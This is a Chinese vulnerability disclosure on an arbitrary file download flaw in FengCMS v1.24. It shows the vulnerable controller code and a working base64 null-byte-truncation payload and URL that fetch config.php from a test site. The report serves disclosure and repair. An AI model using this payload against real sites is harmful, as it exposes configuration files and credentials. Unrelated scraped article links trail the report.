php下载源文件绕开下载地址,Fengcms 最新版v1.24任意文件下载(绕过过滤)
### 简要描述:
之前fengcms修复了好几次这个问题,但依旧知识不对。不过到我这个应该就终结了,我会给出好的解决方案。这也不是厂商的问题,如果不是专门搞安全的人也很难考虑到这一点。
多说一句,fengcms送的礼物已经收到了,再次感谢!这种厂商要奖励,很负责!!
官方给出的测试站已经升到最新版了,我这里测试通过,已经可以下载config.php。
### 详细说明:
/app/controller/downController.php:
```
class downController extends Controller{
public function index(){
$_GET['file']=base64_decode($_GET['file']);
$_GET['file']=str_replace("..","",$_GET['file']);
$exp=explode("/",$_GET['file']);
if($exp[1]=="upload"){
if(file_exists(ROOT_PATH.$_GET['file'])){
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($_GET['file']));
readfile(ROOT_PATH.$_GET['file']);
}else{
echo '';
}
}else{
echo '';
}
}
}
```
看他是怎么处理的:
1.base64_decode解码
2.过滤..为空
3.将$_GET['file']用/分割成$exp,并取第二个($exp[1]),判断$exp[1]是否等于upload,等于才允许下载
4.将root_path和$_GET['file']组合成绝对路径,下载文件
如何绕过过滤,答案是\0截断。
首先,不管有没有全局addslashes或GPC,base64_decode就能无视之,引入一个\0,进行截断。
因为代码里取得是$exp[1]判断是否是"upload",所以我们可以把要下载的文件内容写在$exp[0]里,之后用\0截断掉,readfile的时候就能够把我要的config.php下载下来了。
所以罪魁祸首还是root_path是网站根目录,如果root_path是/upload目录的话,我想要下载config.php的话就必须要用../跳转到上层目录。
使用%00截断的条件是php版本小于5.3.4(左右吧,记不得),而官方给的测试站正好是5.2.x,所以可以通过测试,下载config.php。
### 漏洞证明:
首先测试一下之前的https://images.seebug.org/upload/../config.php还能不能下载:
[](https://images.seebug.org/upload/201407/16203849bac0a0083ee11ff42c0b0caeab83bfa3.jpg)
果断不能了。。。
那么将file改成这样:
```
echo base64_encode("\\config.php\x00/upload");
```
也就是:
http://guf521656.h163.92hezu.org/?controller=down&file=XGNvbmZpZy5waHAAL3VwbG9hZA
访问发现可以继续文件下载:
[](https://images.seebug.org/upload/201407/162039520744c06725507d6f48f3a80294031ada.jpg)
这是下载到的config.php:
[](https://images.seebug.org/upload/201407/16204033180c0fe9cf7953455cf688e6c4fdb634.jpg)
php下载源文件绕开下载地址,Fengcms 最新版v1.24任意文件下载(绕过过滤)相关推荐
- 的计时器设置_【教程】PPT课件中常见的计时器效果(2)——沙漏式计时器 | 源文件提供下载...
往期推荐: [教程]几种常见的计时器效果(1)| 源文件提供下载 [资源]统编语文1-6年级上册专项复习练习题 [资源]转发起来!超精美全册课件下载 | 统编版小学语文五年级下册 大家好,这里是小课同 ...
- JDK1.6官方下载_JDK6官方下载地址
来源:http://blog.myspace.cn/e/404726340.htm JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download/jdk6/6u ...
- JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download
JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/download JDK1.6官方下载_JDK6官方下载地址:http://www.java.net/downloa ...
- 关于Centos使用wget下载: 无法解析主机地址问题
关于Centos使用wget下载: 无法解析主机地址问题 产生原因 解决方法 产生原因 dns的问题,需要配置dns服务器. 解决方法 执行echo 'nameserver 8.8.8.8'>& ...
- bootstrapvalidat cdn_bootstrapValidator插件下载、官网地址、免费CDN加速地址等
bootstrapValidator插件下载.官网地址.免费CDN加速地址等 : 04-07 22:10 : 146次 : 0条 1赞 点赞 简介这篇文章为你提供bootstrapValidator插 ...
- 最新下载精密轨道数据地址!
欧空局原网址停止服务,而且新网址不能用下载影像的账户,下面提供新地址和账户 精轨数据下载网址(新地址):https://scihub.copernicus.eu/gnss/#/home 账户密码皆为( ...
- ftp 和http 区别FTP地址与HTTP地址的区别FTP下载和HTTP下载的区别之一就在与此。
目录 ftp 和http 区别 FTP地址与HTTP地址的区别 FTP下载和HTTP下载的区别之一就在与此. ftp 和http 区别 1.定义不一样 ftp是文件传输协议,http是超文本传输协议, ...
- QuartusII_13.0下载及破解工具地址
转自: http://blog.csdn.net/springlustre/article/details/25008997 QuartusII_13.0下载及破解工具地址 QuartusII_13. ...
- 奥拉星插件flash下载手机版下载安装_终于等到你!安卓微信7.0.13内测版发布 支持夜间模式 附下载地址!...
3月22日,iOS版微信迎来了7.0.12正式版更新,最大的亮点在于为iOS13设备加入了"深色模式"功能,虽然没有独立的控制开关,但可以跟随系统开启或关闭夜间模式.此外,iOS版 ...
最新文章
- Android中的Fragment
- after exercise
- VTK:图像非最大抑制用法实战
- java.lang.reflect.Constructor
- react-native run-android报错的原因,SDK位置未指定
- java 线程模型_Java基础篇之Java线程模型
- CSS Grid布局(1)
- java求平均值Scanner_Scanner的一些问题
- iphone导出照片到电脑_苹果手机照片删除了怎么恢复?简单方法图文教程
- 环形链表得golang实现
- 软考试题希赛网爬取过程分享一
- Xmind8 下载与破解激活教程
- sql server windows nt 64bit 占内存解决方法
- 包包各部位名称图解_背包学问知多少 新手背包各部分功能详解
- Minimum supported Gradle version is 6.1.1. Current version is 5.4.1.
- 大于23的男生女生都该看.看完你会变一个人
- el-table表格数据 中文 键值渲染
- 传感器技术(徐科军 第四版)第三章:变电抗式传感器
- BGP路由协议实验配置命令
- OpenCV Gabor滤波器实现纹理提取与缺陷分析
热门文章
- app_process 自定义类似am pm命令
- 蓝蓝算法04-字符串逆置
- html页面回退,HTML5小结
- html5程序阅读题,20 个重要的 HTML5 面试题及答案
- php 显示时间动态效果,使用h5 canvas实现时钟的动态效果
- ipad2018电池测试软件,苹果ipad 2018评测
- 大数据开发之安装mysql
- 您的计算机和打印机上的打印纸设置不匹配,打印纸张不符合打印要求、类型与设置不符-打印机上门维修复印机...
- web.xml放在哪个目录下_美术资源标准(文件夹目录篇)
- pgsql数据库 按半小时分组 和 按一小时分组